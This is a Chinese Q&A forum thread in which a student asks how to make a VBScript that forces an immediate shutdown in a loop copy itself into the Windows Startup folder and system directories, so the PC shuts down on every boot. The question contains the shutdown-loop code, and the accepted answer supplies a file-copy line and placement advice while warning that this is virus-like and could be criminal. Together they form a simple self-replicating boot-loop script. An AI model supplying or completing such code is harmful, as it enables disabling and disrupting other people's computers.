如何用vbs语言实现程序开机自启动自复制
我们知道放在 开始>所有程序>启动 这个目录下的程序开机会被自动启动。
那么我们现在创建这样一个vbs程序:
do
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
loop
我们想在这个程序中加入一些代码,达到以下效果:
在用户第一次运行这个程序时,程序自动复制自身到以下位置:
1.开始>所有程序>启动
2.C:\Windows
3.C:\Users\Administrator
然后,电脑立刻关机。
接着用户打开电脑,vbs程序启动,电脑立刻关机,周而复始。
哪位老司机带带我啊
最佳答案
你在程序中加一个,如
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile "xxx.vbs", "C:\Windows\" true
但此方法只能用在win7以下系统(我用了二年多win10了,都不知启动目录在哪里了)
另外,你的这个是可以认为是病毒模式,所有安全软件会阻止的
且,若因为这个而造成了数据损失,会构成犯罪的
所以不建议你研究这个,有功夫及能力,学习做商业软件开发不更好?
追问:
请问:1."xxx.vbs"就是我创建的文件名吗?2.这个语句放在什么位置?3.do...loop可不可以去掉? 追答:
1.xxx.vbs当然就是你的文件名2.肯定要放在程序开始3.do while可以去掉看出你没有基础的估计只是好奇才用这个还是上面的建议,好好学习基础,找份好的工作
追问:
嗯,我只是一个中学生,电脑编程只是我的爱好,我不想把这个作为饭碗
其他回答
暂无其它回答!